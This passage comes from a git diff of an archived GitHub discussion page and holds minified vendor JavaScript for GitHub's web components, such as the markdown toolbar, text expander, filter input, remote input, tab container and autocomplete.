n=document.createElement("img");return n.className="emoji",n.alt=t.getAttribute("alias")||"",n.height=20,n.width=20,n}c(v,"emojiImage"),window.customElements.get("g-emoji")||(window.GEmojiElement=k,window.customElements.define("g-emoji",k));var d=null},51941:()=>{const j=["[data-md-button]","md-header","md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ordered-list","md-task-list","md-mention","md-ref","md-strikethrough"];function P(l){const o=[];for(const e of l.querySelectorAll(j.join(", ")))e.hidden||e.offsetWidth<=0&&e.offsetHeight<=0||e.closest("markdown-toolbar")===l&&o.push(e);return o}c(P,"getButtons");function I(l){return function(o){(o.key===" "||o.key==="Enter")&&(o.preventDefault(),l(o))}}c(I,"keydown");const x=new WeakMap;class _ extends HTMLElement{constructor(){super();const o=c(()=>{const e=x.get(this);!e||it(this,e)},"apply");this.addEventListener("keydown",I(o)),this.addEventListener("click",o)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","button")}click(){const o=x.get(this);!o||it(this,o)}}c(_,"MarkdownButtonElement");class W extends _{constructor(){super();const o=parseInt(this.getAttribute("level")||"3",10);if(o<1||o>6)return;const e=`${"#".repeat(o)} `;x.set(this,{prefix:e})}}c(W,"MarkdownHeaderButtonElement"),window.customElements.get("md-header")||(window.MarkdownHeaderButtonElement=W,window.customElements.define("md-header",W));class S extends _{constructor(){super();x.set(this,{prefix:"**",suffix:"**",trimFirst:!0})}}c(S,"MarkdownBoldButtonElement"),window.customElements.get("md-bold")||(window.MarkdownBoldButtonElement=S,window.customElements.define("md-bold",S));class B extends _{constructor(){super();x.set(this,{prefix:"_",suffix:"_",trimFirst:!0})}}c(B,"MarkdownItalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownItalicButtonElement=B,window.customElements.define("md-italic",B));class H extends _{constructor(){super();x.set(this,{prefix:"> ",multiline:!0,surroundWithNewlines:!0})}}c(H,"MarkdownQuoteButtonElement"),window.customElements.get("md-quote")||(window.MarkdownQuoteButtonElement=H,window.customElements.define("md-quote",H));class M extends _{constructor(){super();x.set(this,{prefix:"`",suffix:"`",blockPrefix:"```",blockSuffix:"```"})}}c(M,"MarkdownCodeButtonElement"),window.customElements.get("md-code")||(window.MarkdownCodeButtonElement=M,window.customElements.define("md-code",M));class R extends _{constructor(){super();x.set(this,{prefix:"[",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(R,"MarkdownLinkButtonElement"),window.customElements.get("md-link")||(window.MarkdownLinkButtonElement=R,window.customElements.define("md-link",R));class k extends _{constructor(){super();x.set(this,{prefix:"![",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(k,"MarkdownImageButtonElement"),window.customElements.get("md-image")||(window.MarkdownImageButtonElement=k,window.customElements.define("md-image",k));class m extends _{constructor(){super();x.set(this,{prefix:"- ",multiline:!0,unorderedList:!0})}}c(m,"MarkdownUnorderedListButtonElement"),window.customElements.get("md-unordered-list")||(window.MarkdownUnorderedListButtonElement=m,window.customElements.define("md-unordered-list",m));class v extends _{constructor(){super();x.set(this,{prefix:"1. ",multiline:!0,orderedList:!0})}}c(v,"MarkdownOrderedListButtonElement"),window.customElements.get("md-ordered-list")||(window.MarkdownOrderedListButtonElement=v,window.customElements.define("md-ordered-list",v));class d extends _{constructor(){super();x.set(this,{prefix:"- [ ] ",multiline:!0,surroundWithNewlines:!0})}}c(d,"MarkdownTaskListButtonElement"),window.customElements.get("md-task-list")||(window.MarkdownTaskListButtonElement=d,window.customElements.define("md-task-list",d));class t extends _{constructor(){super();x.set(this,{prefix:"@",prefixSpace:!0})}}c(t,"MarkdownMentionButtonElement"),window.customElements.get("md-mention")||(window.MarkdownMentionButtonElement=t,window.customElements.define("md-mention",t));class n extends _{constructor(){super();x.set(this,{prefix:"#",prefixSpace:!0})}}c(n,"MarkdownRefButtonElement"),window.customElements.get("md-ref")||(window.MarkdownRefButtonElement=n,window.customElements.define("md-ref",n));class a extends _{constructor(){super();x.set(this,{prefix:"~~",suffix:"~~",trimFirst:!0})}}c(a,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")||(window.MarkdownStrikethroughButtonElement=a,window.customElements.define("md-strikethrough",a));class h extends HTMLElement{constructor(){super()}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","toolbar"),this.addEventListener("keydown",y),this.setAttribute("tabindex","0"),this.addEventListener("focus",g,{once:!0})}disconnectedCallback(){this.removeEventListener("keydown",y)}get field(){const o=this.getAttribute("for");if(!o)return null;const e="getRootNode"in this?this.getRootNode():document;let r;return(e instanceof Document||e instanceof ShadowRoot)&&(r=e.getElementById(o)),r instanceof HTMLTextAreaElement?r:null}}c(h,"MarkdownToolbarElement");function g({target:l}){if(!(l instanceof Element))return;l.removeAttribute("tabindex");let o="0";for(const e of P(l))e.setAttribute("tabindex",o),o==="0"&&(e.focus(),o="-1")}c(g,"onToolbarFocus");function y(l){const o=l.key;if(o!=="ArrowRight"&&o!=="ArrowLeft"&&o!=="Home"&&o!=="End")return;const e=l.currentTarget;if(!(e instanceof HTMLElement))return;const r=P(e),p=r.indexOf(l.target),b=r.length;if(p===-1)return;let w=0;o==="ArrowLeft"&&(w=p-1),o==="ArrowRight"&&(w=p+1),o==="End"&&(w=b-1),w<0&&(w=b-1),w>b-1&&(w=0);for(let A=0;A1}c(T,"isMultipleLines");function u(l,o){return Array(o+1).join(l)}c(u,"repeat");function s(l,o){let e=o;for(;l[e]&&l[e-1]!=null&&!l[e-1].match(/\s/);)e--;return e}c(s,"wordSelectionStart");function i(l,o,e){let r=o;const p=e?/\n/:/\s/;for(;l[r]&&!l[r].match(p);)r++;return r}c(i,"wordSelectionEnd");let f=null;function E(l,{text:o,selectionStart:e,selectionEnd:r}){const p=l.selectionStart,b=l.value.slice(0,p),w=l.value.slice(l.selectionEnd);if(f===null||f===!0){l.contentEditable="true";try{f=document.execCommand("insertText",!1,o)}catch{f=!1}l.contentEditable="false"}if(f&&!l.value.slice(0,l.selectionStart).endsWith(o)&&(f=!1),!f){try{document.execCommand("ms-beginUndoUnit")}catch{}l.value=b+o+w;try{document.execCommand("ms-endUndoUnit")}catch{}l.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}e!=null&&r!=null?l.setSelectionRange(e,r):l.setSelectionRange(p,l.selectionEnd)}c(E,"insertText");function L(l,o){const e=l.value.slice(l.selectionStart,l.selectionEnd);let r;o.orderedList||o.unorderedList?r=nt(l,o):o.multiline&&T(e)?r=D(l,o):r=K(l,o),E(l,r)}c(L,"styleSelectedText");function O(l){const o=l.value.split(` +`);let e=0;for(let r=0;r=e&&l.selectionStart=e&&l.selectionEnd0?`${w} +`:p,Y=T(X)&&A.length>0?` +${A}`:b;if($){const V=l.value[l.selectionStart-1];l.selectionStart!==0&&V!=null&&!V.match(/\s/)&&(q=` ${q}`)}X=U(l,q,Y,o.multiline);let F=l.selectionStart,J=l.selectionEnd;const ut=C.length>0&&Y.indexOf(C)>-1&&X.length>0;if(ot){const V=G(l);e=V.newlinesToAppend,r=V.newlinesToPrepend,q=e+p,Y+=r}if(X.startsWith(q)&&X.endsWith(Y)){const V=X.slice(q.length,X.length-Y.length);if(Z===rt){let tt=Z-q.length;tt=Math.max(tt,F),tt=Math.min(tt,F+V.length),F=J=tt}else J=F+V.length;return{text:V,selectionStart:F,selectionEnd:J}}else if(ut)if(N.length>0&&X.match(N)){Y=Y.replace(C,X);const V=q+Y;return F=J=F+q.length,{text:V,selectionStart:F,selectionEnd:J}}else{const V=q+X+Y;return F=F+q.length+X.length+Y.indexOf(C),J=F+C.length,{text:V,selectionStart:F,selectionEnd:J}}else{let V=q+X+Y;F=Z+q.length,J=rt+q.length;const tt=X.match(/^\s*|\s*$/g);if(o.trimFirst&&tt){const ct=tt[0]||"",at=tt[1]||"";V=ct+q+X.trim()+Y+at,F+=ct.length,J-=at.length}return{text:V,selectionStart:F,selectionEnd:J}}}c(K,"blockStyle");function D(l,o){const{prefix:e,suffix:r,surroundWithNewlines:p}=o;let b=l.value.slice(l.selectionStart,l.selectionEnd),w=l.selectionStart,A=l.selectionEnd;const C=b.split(` +`);if(C.every(N=>N.startsWith(e)&&N.endsWith(r)))b=C.map(N=>N.slice(e.length,N.length-r.length)).join(` +`),A=w+b.length;else if(b=C.map(N=>e+N+r).join(` +`),p){const{newlinesToAppend:N,newlinesToPrepend:ot}=G(l);w+=N.length,A=w+b.length,b=N+b+ot}return{text:b,selectionStart:w,selectionEnd:A}}c(D,"multilineStyle");function z(l){const o=l.split(` +`),e=/^\d+\.\s+/,r=o.every(b=>e.test(b));let p=o;return r&&(p=o.map(b=>b.replace(e,""))),{text:p.join(` +`),processed:r}}c(z,"undoOrderedListStyle");function et(l){const o=l.split(` +`),e="- ",r=o.every(b=>b.startsWith(e));let p=o;return r&&(p=o.map(b=>b.slice(e.length,b.length))),{text:p.join(` +`),processed:r}}c(et,"undoUnorderedListStyle");function Q(l,o){return o?"- ":`${l+1}. `}c(Q,"makePrefix");function st(l,o){let e,r,p;return l.orderedList?(r=z(o),e=et(r.text),p=e.text):(r=et(o),e=z(r.text),p=e.text),[r,e,p]}c(st,"clearExistingListStyle");function nt(l,o){const e=l.selectionStart===l.selectionEnd;let r=l.selectionStart,p=l.selectionEnd;O(l);const b=l.value.slice(l.selectionStart,l.selectionEnd),[w,A,C]=st(o,b),$=C.split(` +`).map((q,Y)=>`${Q(Y,o.unorderedList)}${q}`),N=$.reduce((q,Y,F)=>q+Q(F,o.unorderedList).length,0),ot=$.reduce((q,Y,F)=>q+Q(F,!o.unorderedList).length,0);if(w.processed)return e?(r=Math.max(r-Q(0,o.unorderedList).length,0),p=r):(r=l.selectionStart,p=l.selectionEnd-N),{text:C,selectionStart:r,selectionEnd:p};const{newlinesToAppend:Z,newlinesToPrepend:rt}=G(l),X=Z+$.join(` +`)+rt;return e?(r=Math.max(r+Q(0,o.unorderedList).length+Z.length,0),p=r):A.processed?(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N-ot):(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N),{text:X,selectionStart:r,selectionEnd:p}}c(nt,"listStyle");function it(l,o){const e=l.closest("markdown-toolbar");if(!(e instanceof h))return;const p=Object.assign(Object.assign({},{prefix:"",suffix:"",blockPrefix:"",blockSuffix:"",multiline:!1,replaceNext:"",prefixSpace:!1,scanFor:"",surroundWithNewlines:!1,orderedList:!1,unorderedList:!1,trimFirst:!1}),o),b=e.field;b&&(b.focus(),L(b,p))}c(it,"applyStyle");var lt=null},57852:(j,P,I)=>{var x=I(10160);const _=/\s|\(|\[/;function W(t,n,a,{multiWord:h,lookBackIndex:g,lastMatchPosition:y}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let T=t.lastIndexOf(n,a-1);if(T===-1||T=T+n.length+1||t.lastIndexOf(` +`,a-1)>T||t.lastIndexOf(".",a-1)>T)return}else if(t.lastIndexOf(" ",a-1)>T)return;const u=t[T-1];return u&&!_.test(u)?void 0:{text:t.substring(T+n.length,a),position:T+n.length}}c(W,"query");const S=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],B=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],H=new WeakMap;function M(t,n){const a=t.nodeName.toLowerCase();if(a!=="textarea"&&a!=="input")throw new Error("expected textField to a textarea or input");let h=H.get(t);if(h&&h.parentElement===t.parentElement)h.innerHTML="";else{h=document.createElement("div"),H.set(t,h);const u=window.getComputedStyle(t),s=S.slice(0);a==="textarea"?s.push("white-space:pre-wrap;"):s.push("white-space:nowrap;");for(let i=0,f=B.length;i{a.remove()},5e3),{top:y.top-g.top,left:y.left-g.left}}c(R,"textFieldSelectionPosition");const k=new WeakMap;class m{constructor(n,a){this.expander=n,this.input=a,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.lookBackIndex=0,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithList=!1,a.addEventListener("paste",this.onpaste),a.addEventListener("input",this.oninput),a.addEventListener("keydown",this.onkeydown),a.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex)}activate(n,a){var h,g;if(this.input!==document.activeElement&&this.input!==((g=(h=document.activeElement)===null||h===void 0?void 0:h.shadowRoot)===null||g===void 0?void 0:g.activeElement))return;this.deactivate(),this.menu=a,a.id||(a.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(a),this.combobox=new x.Z(this.input,a);const{top:y,left:T}=R(this.input,n.position);a.style.top=`${y}px`,a.style.left=`${T}px`,this.combobox.start(),a.addEventListener("combobox-commit",this.oncommit),a.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}deactivate(){const n=this.menu;return!n||!this.combobox?!1:(this.menu=null,n.removeEventListener("combobox-commit",this.oncommit),n.removeEventListener("mousedown",this.onmousedown),this.combobox.destroy(),this.combobox=null,n.remove(),!0)}onCommit({target:n}){const a=n;if(!(a instanceof HTMLElement)||!this.combobox)return;const h=this.match;if(!h)return;const g=this.input.value.substring(0,h.position-h.key.length),y=this.input.value.substring(h.position+h.text.length),T={item:a,key:h.key,value:null};if(!this.expander.dispatchEvent(new CustomEvent("text-expander-value",{cancelable:!0,detail:T}))||!T.value)return;const s=`${T.value} `;this.input.value=g+s+y;const i=g.length+s.length;this.deactivate(),this.input.focus({preventScroll:!0}),this.input.selectionStart=i,this.input.selectionEnd=i,this.lookBackIndex=i,this.match=null}onBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async onInput(){if(this.justPasted){this.justPasted=!1;return}const n=this.findMatch();if(n){this.match=n;const a=await this.notifyProviders(n);if(!this.match)return;a?this.activate(n,a):this.deactivate()}else this.match=null,this.deactivate()}findMatch(){const n=this.input.selectionEnd||0,a=this.input.value;n<=this.lookBackIndex&&(this.lookBackIndex=n-1);for(const{key:h,multiWord:g}of this.expander.keys){const y=W(a,h,n,{multiWord:g,lookBackIndex:this.lookBackIndex,lastMatchPosition:this.match?this.match.position:null});if(y)return{text:y.text,key:h,position:y.position}}}async notifyProviders(n){const a=[],h=c(u=>a.push(u),"provide");return this.expander.dispatchEvent(new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:h,text:n.text,key:n.key}}))?(await Promise.all(a)).filter(u=>u.matched).map(u=>u.fragment)[0]:void 0}onMousedown(){this.interactingWithList=!0}onKeydown(n){n.key==="Escape"&&(this.match=null,this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex,n.stopImmediatePropagation(),n.preventDefault()))}}c(m,"TextExpander");class v extends HTMLElement{get keys(){const n=this.getAttribute("keys"),a=n?n.split(" "):[],h=this.getAttribute("multiword"),g=h?h.split(" "):[],y=g.length===0&&this.hasAttribute("multiword");return a.map(T=>({key:T,multiWord:y||g.includes(T)}))}connectedCallback(){const n=this.querySelector('input[type="text"], textarea');if(!(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement))return;const a=new m(this,n);k.set(this,a)}disconnectedCallback(){const n=k.get(this);!n||(n.destroy(),k.delete(this))}dismiss(){const n=k.get(this);!n||n.dismissMenu()}}c(v,"TextExpanderElement"),window.customElements.get("text-expander")||(window.TextExpanderElement=v,window.customElements.define("text-expander",v));var d=null},88823:()=>{const j=function(){return document.readyState==="complete"?Promise.resolve():new Promise(W=>{window.addEventListener("load",W)})}();class P extends HTMLElement{async connectedCallback(){await j,this.content&&await x(this.lines,this.content,this.characterDelay,this.lineDelay),this.cursor&&(this.cursor.hidden=!0),this.dispatchEvent(new CustomEvent("typing:complete",{bubbles:!0,cancelable:!0}))}get content(){return this.querySelector('[data-target="typing-effect.content"]')}get cursor(){return this.querySelector('[data-target="typing-effect.cursor"]')}get lines(){const S=this.getAttribute("data-lines");try{return S?JSON.parse(S):[]}catch{return[]}}get prefersReducedMotion(){return window.matchMedia("(prefers-reduced-motion)").matches}get characterDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-character-delay"))),2147483647))||40}set characterDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-character-delay",String(S))}get lineDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-line-delay"))),2147483647))||40}set lineDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-line-delay",String(S))}}c(P,"TypingEffectElement");var I=null;window.customElements.get("typing-effect")||(window.TypingEffectElement=P,window.customElements.define("typing-effect",P));async function x(W,S,B,H){for(let M=0;M{setTimeout(S,W)})}c(_,"wait")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-58612d26affb.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js new file mode 100644 index 0000000..1396f80 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var W=Object.defineProperty;var o=(D,x)=>W(D,"name",{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed"],{13002:(D,x,M)=>{M.d(x,{Z:()=>d});class v extends HTMLElement{constructor(){super();this.currentQuery=null,this.filter=null,this.debounceInputChange=_(()=>u(this,!0)),this.boundFilterResults=()=>{u(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(n,t){t&&n==="aria-owns"&&u(this,!1)}connectedCallback(){const n=this.input;!n||(n.setAttribute("autocomplete","off"),n.setAttribute("spellcheck","false"),n.addEventListener("focus",this.boundFilterResults),n.addEventListener("change",this.boundFilterResults),n.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){const n=this.input;!n||(n.removeEventListener("focus",this.boundFilterResults),n.removeEventListener("change",this.boundFilterResults),n.removeEventListener("input",this.debounceInputChange))}get input(){const n=this.querySelector("input");return n instanceof HTMLInputElement?n:null}reset(){const n=this.input;n&&(n.value="",n.dispatchEvent(new Event("change",{bubbles:!0})))}}o(v,"FilterInputElement");async function u(e,n=!1){const t=e.input;if(!t)return;const a=t.value.trim(),l=e.getAttribute("aria-owns");if(!l)return;const r=document.getElementById(l);if(!r)return;const c=r.hasAttribute("data-filter-list")?r:r.querySelector("[data-filter-list]");if(!c||(e.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),n&&e.currentQuery===a))return;e.currentQuery=a;const m=e.filter||S,A=c.childElementCount;let h=0,k=!1;for(const g of Array.from(c.children)){if(!(g instanceof HTMLElement))continue;const L=w(g),R=m(g,L,a);R.hideNew===!0&&(k=R.hideNew),g.hidden=!R.match,R.match&&h++}const b=r.querySelector("[data-filter-new-item]"),E=!!b&&a.length>0&&!k;b instanceof HTMLElement&&(b.hidden=!E,E&&p(b,a)),y(r,h>0||E),e.dispatchEvent(new CustomEvent("filter-input-updated",{bubbles:!0,detail:{count:h,total:A}}))}o(u,"filterResults");function S(e,n,t){return{match:n.toLowerCase().indexOf(t.toLowerCase())!==-1,hideNew:n===t}}o(S,"matchSubstring");function w(e){return((e.querySelector("[data-filter-item-text]")||e).textContent||"").trim()}o(w,"getText");function p(e,n){const t=e.querySelector("[data-filter-new-item-text]");t&&(t.textContent=n);const a=e.querySelector("[data-filter-new-item-value]");(a instanceof HTMLInputElement||a instanceof HTMLButtonElement)&&(a.value=n)}o(p,"updateNewItem");function y(e,n){const t=e.querySelector("[data-filter-empty-state]");t instanceof HTMLElement&&(t.hidden=n)}o(y,"toggleBlankslate");function _(e){let n;return function(){clearTimeout(n),n=setTimeout(()=>{clearTimeout(n),e()},300)}}o(_,"debounce");const d=v;window.customElements.get("filter-input")||(window.FilterInputElement=v,window.customElements.define("filter-input",v))},88309:(D,x,M)=>{M.d(x,{Z:()=>_});const v=new WeakMap;class u extends HTMLElement{constructor(){super();const e=w.bind(null,this,!0),n={currentQuery:null,oninput:y(e),fetch:e,controller:null};v.set(this,n)}static get observedAttributes(){return["src"]}attributeChangedCallback(e,n){n&&e==="src"&&w(this,!1)}connectedCallback(){const e=this.input;if(!e)return;e.setAttribute("autocomplete","off"),e.setAttribute("spellcheck","false");const n=v.get(this);!n||(e.addEventListener("focus",n.fetch),e.addEventListener("change",n.fetch),e.addEventListener("input",n.oninput))}disconnectedCallback(){const e=this.input;if(!e)return;const n=v.get(this);!n||(e.removeEventListener("focus",n.fetch),e.removeEventListener("change",n.fetch),e.removeEventListener("input",n.oninput))}get input(){const e=this.querySelector("input, textarea");return e instanceof HTMLInputElement||e instanceof HTMLTextAreaElement?e:null}get src(){return this.getAttribute("src")||""}set src(e){this.setAttribute("src",e)}}o(u,"RemoteInputElement");function S(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}o(S,"makeAbortController");async function w(d,e){const n=d.input;if(!n)return;const t=v.get(d);if(!t)return;const a=n.value;if(e&&t.currentQuery===a)return;t.currentQuery=a;const l=d.src;if(!l)return;const r=document.getElementById(d.getAttribute("aria-owns")||"");if(!r)return;const c=new URL(l,window.location.href),m=new URLSearchParams(c.search);m.append(d.getAttribute("param")||"q",a),c.search=m.toString(),t.controller?t.controller.abort():(d.dispatchEvent(new CustomEvent("loadstart")),d.setAttribute("loading","")),t.controller=S();let A,h="";try{A=await p(d,c.toString(),{signal:t.controller.signal,credentials:"same-origin",headers:{accept:"text/fragment+html"}}),h=await A.text(),d.removeAttribute("loading"),t.controller=null}catch(k){k.name!=="AbortError"&&(d.removeAttribute("loading"),t.controller=null);return}A&&A.ok?(r.innerHTML=h,d.dispatchEvent(new CustomEvent("remote-input-success",{bubbles:!0}))):d.dispatchEvent(new CustomEvent("remote-input-error",{bubbles:!0}))}o(w,"fetchResults");async function p(d,e,n){try{const t=await fetch(e,n);return d.dispatchEvent(new CustomEvent("load")),d.dispatchEvent(new CustomEvent("loadend")),t}catch(t){throw t.name!=="AbortError"&&(d.dispatchEvent(new CustomEvent("error")),d.dispatchEvent(new CustomEvent("loadend"))),t}}o(p,"fetchWithNetworkEvents");function y(d){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),d()},300)}}o(y,"debounce");const _=u;window.customElements.get("remote-input")||(window.RemoteInputElement=u,window.customElements.define("remote-input",u))},29501:(D,x,M)=>{M.d(x,{Z:()=>u});function v(w){return Array.from(w.querySelectorAll('[role="tablist"] [role="tab"]')).filter(p=>p instanceof HTMLElement&&p.closest(w.tagName)===w)}o(v,"getTabs");class u extends HTMLElement{constructor(){super();this.addEventListener("keydown",p=>{const y=p.target;if(!(y instanceof HTMLElement)||y.closest(this.tagName)!==this||y.getAttribute("role")!=="tab"&&!y.closest('[role="tablist"]'))return;const _=v(this),d=_.indexOf(_.find(e=>e.matches('[aria-selected="true"]')));if(p.code==="ArrowRight"){let e=d+1;e>=_.length&&(e=0),S(this,e)}else if(p.code==="ArrowLeft"){let e=d-1;e<0&&(e=_.length-1),S(this,e)}else p.code==="Home"?(S(this,0),p.preventDefault()):p.code==="End"&&(S(this,_.length-1),p.preventDefault())}),this.addEventListener("click",p=>{const y=v(this);if(!(p.target instanceof Element)||p.target.closest(this.tagName)!==this)return;const _=p.target.closest('[role="tab"]');if(!(_ instanceof HTMLElement)||!_.closest('[role="tablist"]'))return;const d=y.indexOf(_);S(this,d)})}connectedCallback(){for(const p of v(this))p.hasAttribute("aria-selected")||p.setAttribute("aria-selected","false"),p.hasAttribute("tabindex")||(p.getAttribute("aria-selected")==="true"?p.setAttribute("tabindex","0"):p.setAttribute("tabindex","-1"))}}o(u,"TabContainerElement");function S(w,p){const y=v(w),_=Array.from(w.querySelectorAll('[role="tabpanel"]')).filter(t=>t.closest(w.tagName)===w),d=y[p],e=_[p];if(!!w.dispatchEvent(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:e}}))){for(const t of y)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(const t of _)t.hidden=!0,!t.hasAttribute("tabindex")&&!t.hasAttribute("data-tab-container-no-tabstop")&&t.setAttribute("tabindex","0");d.setAttribute("aria-selected","true"),d.setAttribute("tabindex","0"),d.focus(),e.hidden=!1,w.dispatchEvent(new CustomEvent("tab-container-changed",{bubbles:!0,detail:{relatedTarget:e}}))}}o(S,"selectTab"),window.customElements.get("tab-container")||(window.TabContainerElement=u,window.customElements.define("tab-container",u))},47142:(D,x,M)=>{M.d(x,{CD:()=>A,Gs:()=>c,m7:()=>m});var v=-1/0,u=1/0,S=-.005,w=-.005,p=-.01,y=1,_=.9,d=.8,e=.7,n=.6;function t(h){return h.toLowerCase()===h}o(t,"islower");function a(h){return h.toUpperCase()===h}o(a,"isupper");function l(h){for(var k=h.length,b=new Array(k),E="/",g=0;g1024)return v;var g=new Array(b),L=new Array(b);return r(h,k,g,L),L[b-1][E-1]}o(c,"score");function m(h,k){var b=h.length,E=k.length,g=new Array(b);if(!b||!E)return g;if(b===E){for(var L=0;L1024)return g;var R=new Array(b),O=new Array(b);r(h,k,R,O);for(var I=!1,L=b-1,T=E-1;L>=0;L--)for(;T>=0;T--)if(R[L][T]!==v&&(I||R[L][T]===O[L][T])){I=L&&T&&O[L][T]===R[L-1][T-1]+y,g[L]=T--;break}return g}o(m,"positions");function A(h,k){h=h.toLowerCase(),k=k.toLowerCase();for(var b=h.length,E=0,g=0;E{M.d(x,{Z:()=>a});var v=M(10160);class u extends CustomEvent{constructor(r,c){super(r,c);this.relatedTarget=c.relatedTarget}}o(u,"AutocompleteEvent");function S(l,r=0){let c;return function(...m){clearTimeout(c),c=window.setTimeout(()=>{clearTimeout(c),l(...m)},r)}}o(S,"debounce");const w=new WeakMap;function p(l,r){const c=new XMLHttpRequest;return c.open("GET",r,!0),c.setRequestHeader("Accept","text/fragment+html"),y(l,c)}o(p,"fragment");function y(l,r){const c=w.get(l);c&&c.abort(),w.set(l,r);const m=o(()=>w.delete(l),"clear"),A=_(r);return A.then(m,m),A}o(y,"request");function _(l){return new Promise((r,c)=>{l.onload=function(){l.status>=200&&l.status<300?r(l.responseText):c(new Error(l.responseText))},l.onerror=c,l.send()})}o(_,"send");const d=window.testScreenReaderDelay||100;class e{constructor(r,c,m,A=!1){var h;if(this.container=r,this.input=c,this.results=m,this.combobox=new v.Z(c,m),this.feedback=document.getElementById(`${this.results.id}-feedback`),this.autoselectEnabled=A,this.clearButton=document.getElementById(`${this.input.id||this.input.name}-clear`),this.clientOptions=m.querySelectorAll("[role=option]"),this.feedback&&(this.feedback.setAttribute("aria-live","polite"),this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!this.clearButton.getAttribute("aria-label")){const k=document.querySelector(`label[for="${this.input.name}"]`);this.clearButton.setAttribute("aria-label","clear:"),this.clearButton.setAttribute("aria-labelledby",`${this.clearButton.id} ${(k==null?void 0:k.id)||""}`)}this.input.getAttribute("aria-expanded")||this.input.setAttribute("aria-expanded","false"),this.results.hidden=!0,this.results.setAttribute("aria-label","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=S(this.onInputChange.bind(this),300),this.onResultsMouseDown=this.onResultsMouseDown.bind(this),this.onInputBlur=this.onInputBlur.bind(this),this.onInputFocus=this.onInputFocus.bind(this),this.onKeydown=this.onKeydown.bind(this),this.onCommit=this.onCommit.bind(this),this.handleClear=this.handleClear.bind(this),this.input.addEventListener("keydown",this.onKeydown),this.input.addEventListener("focus",this.onInputFocus),this.input.addEventListener("blur",this.onInputBlur),this.input.addEventListener("input",this.onInputChange),this.results.addEventListener("mousedown",this.onResultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(h=this.clearButton)===null||h===void 0||h.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown",this.onKeydown),this.input.removeEventListener("focus",this.onInputFocus),this.input.removeEventListener("blur",this.onInputBlur),this.input.removeEventListener("input",this.onInputChange),this.results.removeEventListener("mousedown",this.onResultsMouseDown),this.results.removeEventListener("combobox-commit",this.onCommit)}handleClear(r){r.preventDefault(),this.input.getAttribute("aria-expanded")==="true"&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.input.focus(),this.input.dispatchEvent(new Event("change")),this.container.open=!1}onKeydown(r){if(r.key==="Enter"&&this.container.open&&this.autoselectEnabled){const c=this.results.children[0];c&&(r.stopPropagation(),r.preventDefault(),this.onCommit({target:c}))}if(r.key==="Escape"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowUp"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else 